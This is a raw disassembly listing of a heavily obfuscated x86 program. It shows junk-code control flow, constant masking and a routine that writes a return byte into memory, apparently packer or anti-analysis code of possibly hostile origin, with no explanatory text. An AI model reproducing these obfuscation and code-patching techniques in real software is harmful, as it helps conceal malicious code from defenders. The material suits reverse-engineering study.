		xchg	esi, [esp-4+arg_0]
		jmp	loc_43AFF8
; END OF FUNCTION CHUNK	FOR sub_44F9FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_439498:				; CODE XREF: sub_441DDA:loc_439D55j
		xchg	edi, [esp+0]
		mov	eax, [ebp+8]
		push	eax
		call	sub_4427AE
		cmp	dword ptr [ebp-10Ch], 656C6946h
		jmp	loc_43E1AB
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_4394B3:				; CODE XREF: sub_43C9A9:loc_44B3DDj
		jnz	loc_44A9AA
		jmp	loc_449BEA
; END OF FUNCTION CHUNK	FOR sub_43C9A9
; ---------------------------------------------------------------------------
		mov	edx, 92B16BD7h
		push	edi
		push	33BD61BBh
		xchg	ebp, [esp]
		mov	edi, ebp
		pop	ebp
		rol	edi, 14h
		jmp	loc_4442D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_4394D7:				; CODE XREF: sub_440898+4FBDj
		jz	loc_43B22E
		mov	[esi], eax
		cdq
		mov	edi, ebx
		jmp	loc_43B22C
; END OF FUNCTION CHUNK	FOR sub_440898

; =============== S U B	R O U T	I N E =======================================



sub_4394E7	proc near		; CODE XREF: sub_44F697-B731p
					; dviuq5id:0044F60Fj

; FUNCTION CHUNK AT 0043B775 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458464 SIZE 00000018 BYTES

		xchg	esi, [esp+0]
		pop	esi
		call	sub_4571A7
		push	56A9E96h
		xchg	ecx, [esp+0]
		mov	eax, ecx
		jmp	loc_43B775
sub_4394E7	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_373. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_439500:				; CODE XREF: dviuq5id:0043C2CAj
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_442BBA

loc_439501:				; CODE XREF: sub_442BBA:loc_43C2BDj
		xor	eax, 11380ADFh
		xchg	eax, [esp+8+var_8]
		call	sub_44F23F
		push	eax
		push	offset loc_451D1E
		jmp	nullsub_135
; END OF FUNCTION CHUNK	FOR sub_442BBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453BE2

loc_43951A:				; CODE XREF: sub_453BE2-2BBBj
		ja	loc_43AF86

loc_439520:				; CODE XREF: dviuq5id:loc_43C937j
		mov	eax, [ebp-4]
		mov	eax, [eax]
		and	eax, 0FFFFFFh
		cmp	eax, 0C3C033h
		jmp	loc_454A83
; END OF FUNCTION CHUNK	FOR sub_453BE2
; ---------------------------------------------------------------------------

loc_439534:				; DATA XREF: sub_441C54:loc_45039Ao
		cmp	ds:dword_44DE70, 0
		jz	loc_4529FC
		mov	eax, ds:dword_44DE70
		mov	eax, [eax]
		mov	ds:dword_44DE84, eax
		xor	eax, eax
		call	sub_45843F
; START	OF FUNCTION CHUNK FOR sub_453C98

loc_439554:				; CODE XREF: sub_453C98+Aj
		jmp	loc_44FD99
; END OF FUNCTION CHUNK	FOR sub_453C98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450217

loc_439559:				; CODE XREF: sub_450217+3201j
		jmp	loc_455425
; END OF FUNCTION CHUNK	FOR sub_450217
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_43955E:				; CODE XREF: sub_44CFBC:loc_44518Bj
		jmp	nullsub_87
; END OF FUNCTION CHUNK	FOR sub_44CFBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B53

loc_439563:				; CODE XREF: sub_446B53-61A8j
		jmp	loc_451531
; END OF FUNCTION CHUNK	FOR sub_446B53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440599

loc_439568:				; CODE XREF: sub_440599-31B9j
		jmp	nullsub_35
; END OF FUNCTION CHUNK	FOR sub_440599
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E10E

loc_43956D:				; CODE XREF: sub_43E10E:loc_43CBB8j
		add	ebx, 0A049C853h
		xchg	ebx, [esp+0]
		jmp	sub_456F43
; END OF FUNCTION CHUNK	FOR sub_43E10E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_459. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43957C:				; CODE XREF: dviuq5id:0044D217j
					; dviuq5id:loc_44F4FFj
		jmp	loc_455277
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443901

loc_439581:				; CODE XREF: sub_443901+Bj
		jmp	loc_45260F
; END OF FUNCTION CHUNK	FOR sub_443901
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458192

loc_439586:				; CODE XREF: sub_458192-16B81j
		jmp	nullsub_470
; END OF FUNCTION CHUNK	FOR sub_458192
; ---------------------------------------------------------------------------
		js	loc_4576D1
		jmp	sub_44C8E3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_278. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45383B

loc_439597:				; CODE XREF: sub_45383B+212Fj
		jmp	loc_44E911
; END OF FUNCTION CHUNK	FOR sub_45383B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458B23

loc_43959C:				; CODE XREF: sub_458B23-12F73j
		jmp	loc_4563D3
; END OF FUNCTION CHUNK	FOR sub_458B23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E84C

loc_4395A1:				; CODE XREF: sub_43E84C:loc_43AEF5j
		jnb	loc_444CED
; END OF FUNCTION CHUNK	FOR sub_43E84C
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_4395A7:				; CODE XREF: sub_443563+7B29j
					; sub_448FC7:loc_44EA91j
		jmp	loc_448387
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
		sbb	ebx, ecx
		sub	edi, 1A33319Ch
		or	edx, eax
		mov	ebp, 0E33A122Eh
		jmp	loc_444CED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_4395C0:				; CODE XREF: sub_4525D0-6B18j
		test	edi, 0F05CC139h
		jmp	loc_45A0F3
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CA9A

loc_4395CB:				; CODE XREF: sub_44CA9A:loc_43FAADj
		push	edi
		mov	edi, ecx
		xchg	edi, [esp+4+var_4]
		mov	[ebp+var_4], eax
		push	offset loc_43D59F
		jmp	loc_444C93
; END OF FUNCTION CHUNK	FOR sub_44CA9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4597EF

loc_4395DE:				; CODE XREF: sub_4597EF-72FFj
		and	edi, 2FDA3C2Ah
		xor	edi, 62365533h
		add	eax, edi
		pop	edi
		mov	eax, [eax]
		mov	ecx, [eax+4]
		call	sub_43E10E
; END OF FUNCTION CHUNK	FOR sub_4597EF
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_4395F7:				; CODE XREF: sub_43EB11+3298j
		xchg	ecx, [esp+0]

loc_4395FA:				; CODE XREF: sub_456B31:loc_45A126j
		mov	edx, eax
		call	sub_45A04B
		call	sub_441C54
		or	eax, eax
		jmp	loc_445589
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
		ror	ebp, 1Bh
		jmp	sub_4403E5

; =============== S U B	R O U T	I N E =======================================



sub_439615	proc near		; CODE XREF: sub_43D181+E9A3j

; FUNCTION CHUNK AT 00456636 SIZE 00000013 BYTES

		push	ebp
		jmp	loc_456636
sub_439615	endp

; ---------------------------------------------------------------------------

loc_43961B:				; DATA XREF: sub_4547F0:loc_44EE07o
		mov	ecx, 8
		call	sub_44B223
		xchg	edx, eax
		jmp	sub_4572AA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449187

loc_43962D:				; CODE XREF: sub_449187:loc_445049j
		pop	edi
		rol	edi, 2
		and	edi, 69B0C291h
		add	edi, 0F6B46C78h
		xchg	edi, [esp+0]
		jmp	sub_43C4B5
; END OF FUNCTION CHUNK	FOR sub_449187
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_439645:				; CODE XREF: sub_441DDA+6867j
		sub	eax, edx
		jmp	loc_43BCCB
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445110

loc_43964C:				; CODE XREF: sub_445110-BE3Cj
		mov	eax, edi

loc_43964E:				; CODE XREF: sub_43FA59:loc_44E68Aj
		call	sub_456F43
		call	sub_43FF4E

loc_439658:				; CODE XREF: sub_44B2EA-2689j
		jmp	loc_445FD5
; END OF FUNCTION CHUNK	FOR sub_445110
; ---------------------------------------------------------------------------

loc_43965D:				; CODE XREF: dviuq5id:004451C1j
		jmp	loc_450A13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EFB

loc_439662:				; CODE XREF: sub_448EFB-D801j
		jmp	nullsub_60
; END OF FUNCTION CHUNK	FOR sub_448EFB
; ---------------------------------------------------------------------------
		push	ecx
		push	offset sub_456734
		jmp	loc_43C73B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453BE2

loc_439672:				; CODE XREF: sub_453BE2:loc_441F44j
		jge	loc_4558F4
		xor	edi, 0D9051678h
		test	ebx, 582A5573h
		jmp	loc_4558EE
; END OF FUNCTION CHUNK	FOR sub_453BE2
; ---------------------------------------------------------------------------

loc_439689:				; CODE XREF: dviuq5id:004413BEj
		ror	eax, 11h
		xchg	ecx, [edx]
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_43968E:				; CODE XREF: sub_439C09:loc_44139Dj
		or	eax, 2507FD87h
		and	eax, 5D9B80AAh
		rol	eax, 12h
		jmp	loc_453259
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_4396A2:				; CODE XREF: sub_451EEC:loc_4417FEj
		rol	edx, 15h
		test	edx, 8
		jmp	loc_45A31B
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439AA6

loc_4396B0:				; CODE XREF: sub_439AA6+16j
		cmp	eax, 0D0C7804Fh
		jmp	loc_449354
; END OF FUNCTION CHUNK	FOR sub_439AA6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4396BB	proc near		; CODE XREF: sub_459194j

; FUNCTION CHUNK AT 00439CC3 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 004409E2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004417C2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045306F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454C8F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004550A3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00456575 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004581AC SIZE 0000000E BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_44DF10
		jmp	loc_4550A3
sub_4396BB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E3C2

loc_4396CD:				; CODE XREF: sub_44E3C2:loc_443C34j
		pop	edx
		or	edx, 0D143E3DCh
		test	edx, 80h
		jmp	loc_458CA5
; END OF FUNCTION CHUNK	FOR sub_44E3C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44279B

loc_4396DF:				; CODE XREF: sub_44279B:loc_4468D1j
		sub	ebx, 16004C9Ch
		call	sub_457E1F

loc_4396EA:				; CODE XREF: sub_442D9D+1201Ej
		jmp	loc_445E6D
; END OF FUNCTION CHUNK	FOR sub_44279B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_4396EF:				; CODE XREF: sub_441DDA:loc_445692j
		cmp	dword ptr [ebp-10Ch], 6D676552h
		jnz	loc_457E67
		jmp	loc_443DEB
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------

loc_439704:				; CODE XREF: dviuq5id:0043B516j
					; dviuq5id:loc_450A13j
		call	sub_443F7F
		mov	edx, 81424EE7h
		call	sub_449EB7
		push	eax
		mov	eax, ebx
		xchg	eax, [esp]
		jmp	loc_44E787
; ---------------------------------------------------------------------------
		popf
		jmp	loc_456B22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4489AE

loc_439724:				; CODE XREF: sub_4489AE:loc_45A487j
		xor	edx, 38D4F13Dh
		sub	edx, 0F2FE7931h
		xor	edx, 62B798D3h
		add	edx, ebp
		call	sub_459983

loc_43973D:				; CODE XREF: sub_455C77+3j
		jmp	sub_44358D
; END OF FUNCTION CHUNK	FOR sub_4489AE
; ---------------------------------------------------------------------------

loc_439742:				; CODE XREF: dviuq5id:004426ABj
		jmp	sub_453642
; ---------------------------------------------------------------------------

loc_439747:				; CODE XREF: dviuq5id:004484BBj
		pop	edi

loc_439748:				; CODE XREF: dviuq5id:loc_43A637j
		call	sub_43B880
; START	OF FUNCTION CHUNK FOR sub_44BB53

loc_43974D:				; CODE XREF: sub_44BB53-6AEBj
		jmp	loc_439F33
; END OF FUNCTION CHUNK	FOR sub_44BB53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_439752:				; CODE XREF: sub_43C4B5+5893j
		jnz	loc_4563BA

loc_439758:				; CODE XREF: sub_43C4B5-1298j
		jmp	loc_441A63
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
		jno	loc_44D871
		test	eax, ecx
		jmp	loc_4563AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43976A:				; CODE XREF: sub_43FA59+537Ej
		sub	edi, ecx
		jb	loc_4592EF

loc_439772:				; CODE XREF: sub_43FA59:loc_455C61j
		lea	eax, [ebp-2AAh]
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_452033
		jmp	loc_441EA6
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EFA5

loc_439789:				; CODE XREF: sub_43EFA5:loc_43EFBBj
		pop	edx
		sub	edx, 746EF8Dh
		xor	edx, 72032630h
		add	edx, ebp
		add	edx, 29A90C6Dh
		jmp	loc_4525C2
; END OF FUNCTION CHUNK	FOR sub_43EFA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E2D4

loc_4397A3:				; CODE XREF: sub_44E2D4:loc_44E4A6j
		and	eax, 63D611CBh
		cmp	eax, 0E43122F9h
		jmp	loc_458359
; END OF FUNCTION CHUNK	FOR sub_44E2D4
; ---------------------------------------------------------------------------

loc_4397B4:				; CODE XREF: dviuq5id:loc_450112j
		mov	byte ptr [eax],	0C3h
		jmp	sub_440DA1
; ---------------------------------------------------------------------------
		call	nullsub_457
		jmp	ds:dword_41D058
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458BA4

loc_4397C7:				; CODE XREF: sub_458BA4+11j
		jmp	loc_43A34D
; END OF FUNCTION CHUNK	FOR sub_458BA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5DC

loc_4397CC:				; CODE XREF: sub_43F5DC+A9CCj
		jmp	nullsub_385
; END OF FUNCTION CHUNK	FOR sub_43F5DC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_457. PRESS KEYPAD	"+" TO EXPAND]
		dw 21BEh
		dd 3CE90000h		; CODE XREF: dviuq5id:0044D938j
; ---------------------------------------------------------------------------
		rol	dword ptr [eax], 0
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_4397DB:				; CODE XREF: sub_43BA0E+6AA4j
		jmp	loc_44E8B5
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_329. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449AC6

loc_4397E1:				; CODE XREF: sub_449AC6-741j
		jmp	loc_451EFE
; END OF FUNCTION CHUNK	FOR sub_449AC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A94D

loc_4397E6:				; CODE XREF: sub_44A94D-AF40j
		jmp	loc_4434FF
; END OF FUNCTION CHUNK	FOR sub_44A94D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447A8A

loc_4397EB:				; CODE XREF: sub_447A8A+EA38j
		xor	edi, esi
		jmp	loc_4448F6
; END OF FUNCTION CHUNK	FOR sub_447A8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452D9B

loc_4397F2:				; CODE XREF: sub_452D9B-1233Aj
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		jmp	loc_43B920
; END OF FUNCTION CHUNK	FOR sub_452D9B
; ---------------------------------------------------------------------------
		dw 81A7h
dword_439800	dd 1070000h, 471051C1h,	0FFFF8010h, 0Bh, 0FFFF8010h, 1Fh
					; DATA XREF: sub_447ADF-AD9Do
					; dviuq5id:00445BD1o
		dd 0FFFF8010h, 18h, 0FFFF8010h,	29h, 0FFFF8010h, 4Bh, 0FFFF801Fh
		dd 17h,	0FFFF801Fh, 33h, 0FFFF801Fh, 13h, 0FFFF801Fh, 65h
		dd 0FFFF801Fh, 0Dh, 0FFFF801Fh,	1, 0FFFF801Fh, 6, 0FFFF801Fh
		dd 4, 0FFFF801Fh, 74h, 0FFFF801Fh, 34h,	0FFFF801Fh, 14h
		dd 0FFFF801Fh, 15h, 0FFFF801Fh,	0Fh, 0FFFF801Fh, 12h, 0FFFF801Fh
		dd 11h,	0FFFF801Fh, 0Ch, 0FFFF801Fh, 97h, 0FFFF801Fh, 0Bh
		dd 0FFFF801Fh, 0Ah, 0FFFF801Fh,	10h, 0FFFF801Fh, 9, 0FFFF801Fh
		dd 73h,	0FFFF801Fh, 5, 0FFFF801Fh, 2, 0FFFF801Fh, 3, 9A002Eh
		dd 801D01A0h, 93002Eh, 609D577Dh, 92002Eh, 0B24C760Ah
		dd 6003Eh, 2092F37Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450686

loc_439918:				; CODE XREF: sub_450686+6614j
		jmp	loc_445320
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_43991D:				; CODE XREF: sub_443AC1-6D0Cj
		jmp	nullsub_14
; END OF FUNCTION CHUNK	FOR sub_443AC1
; ---------------------------------------------------------------------------
		dw 0A1EFh
dword_439924	dd 773D0000h, 622A249Ah, 5C23CC98h, 8D6C23h, 1F7B0000h
					; DATA XREF: sub_458A79:loc_439FC4o
		dd 0A109887Ah, 19C58CCCh, 63D8h, 0BA71AB00h, 0CCD764A6h
		dd 6319B8C8h, 63h, 92BA7620h, 51C9494Eh, 6C64E254h, 0D8h
		dd 56A71B2h, 368C8B92h
; ---------------------------------------------------------------------------
		mov	cl, 0
		push	ebp
		mov	ebp, esp
		call	sub_43BC7B
; START	OF FUNCTION CHUNK FOR sub_457B2A

loc_439976:				; CODE XREF: sub_457B2A+Cj
		jmp	loc_4507F8
; END OF FUNCTION CHUNK	FOR sub_457B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D83D

loc_43997B:				; CODE XREF: sub_43D83D+725Fj
		jmp	loc_456F6B
; END OF FUNCTION CHUNK	FOR sub_43D83D
; ---------------------------------------------------------------------------
		jmp	ds:dword_41D0F0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_176. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jo	loc_43D8B6
		mov	eax, [esp]
		jmp	loc_451995

; =============== S U B	R O U T	I N E =======================================



sub_439995	proc near		; CODE XREF: sub_44A94D:loc_4501BCp
					; dviuq5id:0045207Aj
		xchg	edi, [esp+0]
		pop	edi
		mov	[esi], eax
		pop	esi
		pop	ecx
		xor	eax, eax
		retn
sub_439995	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459BC0

loc_4399A0:				; CODE XREF: sub_459BC0+1Aj
		jmp	loc_43C36C
; END OF FUNCTION CHUNK	FOR sub_459BC0
; ---------------------------------------------------------------------------

loc_4399A5:				; CODE XREF: dviuq5id:00454223j
		jmp	loc_44BB5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4408FF

loc_4399AA:				; CODE XREF: sub_4408FF+20j
		jmp	loc_4444F4
; END OF FUNCTION CHUNK	FOR sub_4408FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_4399AF:				; CODE XREF: sub_44EAC4-871Dj
					; sub_44EAC4:loc_456447j
					; DATA XREF: ...
		pop	large dword ptr	fs:0
		jmp	loc_450EBC
; END OF FUNCTION CHUNK	FOR sub_44EAC4

; =============== S U B	R O U T	I N E =======================================



sub_4399BB	proc near		; CODE XREF: dviuq5id:00444811p
					; dviuq5id:00445CF9j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00443EC6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044C36D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D756 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044D767 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044DE9C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00450D1E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458F71 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44D767
		jmp	loc_458F71
sub_4399BB	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		cmp	ebx, edi
		jmp	loc_4492D6
; ---------------------------------------------------------------------------

loc_4399D5:				; CODE XREF: dviuq5id:0044D0C6j
		jle	loc_44C1B1
		pop	esi
		add	ecx, edx
; START	OF FUNCTION CHUNK FOR sub_459848

loc_4399DE:				; CODE XREF: sub_459848:loc_44577Fj
		or	esi, 12CC9DB2h
		rol	esi, 1Ch
		test	esi, 10h
		jmp	loc_44B748
; END OF FUNCTION CHUNK	FOR sub_459848
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_4399F2:				; CODE XREF: sub_44084F+7480j
					; sub_44084F:loc_458A8Dj
		push	1935D635h
		pop	eax
		sub	eax, 7BA7089Eh
		or	eax, 0A30D14Eh
		and	eax, 5E6AEC13h
		jns	loc_44ACBB

loc_439A10:				; CODE XREF: sub_43F285+243j
		jmp	sub_450838
; END OF FUNCTION CHUNK	FOR sub_44084F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C0B

loc_439A15:				; CODE XREF: sub_447C0B-99F8j
		jmp	loc_44AB0B
; END OF FUNCTION CHUNK	FOR sub_447C0B
; ---------------------------------------------------------------------------
		ja	loc_443359
		jmp	loc_457062
; ---------------------------------------------------------------------------

locret_439A25:				; CODE XREF: dviuq5id:loc_441E85j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E87

loc_439A26:				; CODE XREF: sub_439E87+13374j
		cmp	edx, ebp
		jmp	loc_4411D7
; END OF FUNCTION CHUNK	FOR sub_439E87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4393C3

loc_439A2D:				; CODE XREF: sub_4393C3:loc_4541DBj
					; sub_4393C3+1C8E9j
		add	edx, 5DDB4CADh
		add	edx, ebp
		push	ebx
		push	0C5F16E9h
		jmp	loc_43DD6A
; END OF FUNCTION CHUNK	FOR sub_4393C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_439A40:				; CODE XREF: sub_44CBA2+B478j
		cmp	edx, esi
		jmp	loc_43C9C8
; END OF FUNCTION CHUNK	FOR sub_44CBA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452A6

loc_439A47:				; CODE XREF: sub_4452A6:loc_454E1Dj
		mov	eax, [ebp+8]
		mov	eax, [eax-8]
		or	eax, 8
		or	eax, 10h
		mov	edx, [ebp+8]
		mov	[edx-8], eax
		jmp	loc_459ADF
; END OF FUNCTION CHUNK	FOR sub_4452A6

; =============== S U B	R O U T	I N E =======================================



sub_439A5E	proc near		; DATA XREF: sub_444F0F+2F03o

; FUNCTION CHUNK AT 0043A2A7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BA6B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CEEE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043E7A9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043E7C7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043FDEA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043FF98 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00440AA6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00440CCD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00448D15 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00449062 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B913 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D42A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045022E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00450F24 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004519E7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452F6F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459EE0 SIZE 00000005 BYTES

		add	edx, 87748D32h
		add	edx, ebp
		add	edx, 0F3E7F3E2h
		mov	[edx], eax
		pop	edx
		mov	eax, [ebp-4]
		jmp	loc_4519E7
sub_439A5E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_439A77:				; CODE XREF: dviuq5id:loc_44320Fj
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44F9D7
		jmp	loc_459D1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B3A0

loc_439A8B:				; CODE XREF: sub_43B3A0:loc_4520A5j
		jz	loc_4531B1
		adc	edi, ebx
		and	eax, esi
		jmp	loc_4531B1
; END OF FUNCTION CHUNK	FOR sub_43B3A0
; ---------------------------------------------------------------------------
		popf
		jmp	sub_4441DD
; ---------------------------------------------------------------------------

loc_439AA0:				; CODE XREF: dviuq5id:0043B2E9j
		xor	ecx, 58A337BEh

; =============== S U B	R O U T	I N E =======================================



sub_439AA6	proc near		; CODE XREF: dviuq5id:00456763p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004396B0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A707 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043D0FB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449354 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A995 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044D660 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00451A30 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00459F4F SIZE 00000015 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	7BADF8B1h
		pop	eax
		and	eax, 48BB829Ah
		xor	eax, 0F24B9B0Ch
		jmp	loc_4396B0
sub_439AA6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_439AC1:				; CODE XREF: sub_439013:loc_44E187j
		jz	loc_457C0B
		jmp	loc_43EDB8
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
		add	eax, edx
		jmp	loc_44287A
; ---------------------------------------------------------------------------
		popf
		jmp	sub_444688
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F285

loc_439AD9:				; CODE XREF: sub_43F285+Aj
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_441ED8
		or	eax, eax
		jnz	loc_43A0DA
		jmp	loc_441627
; END OF FUNCTION CHUNK	FOR sub_43F285
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_439AEF:				; CODE XREF: sub_454094-171BCj
		pushf
		xchg	eax, ebp
		mov	[edx], edi

loc_439AF4:				; CODE XREF: sub_454094-171C8j
		rol	edx, 13h
		jmp	loc_44B340
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456B31

loc_439AFC:				; CODE XREF: sub_456B31:loc_43BD0Bj
		and	esi, edx
		sbb	esi, 170D6B51h
		jl	loc_44353C
		jmp	loc_43F502
; END OF FUNCTION CHUNK	FOR sub_456B31
; ---------------------------------------------------------------------------

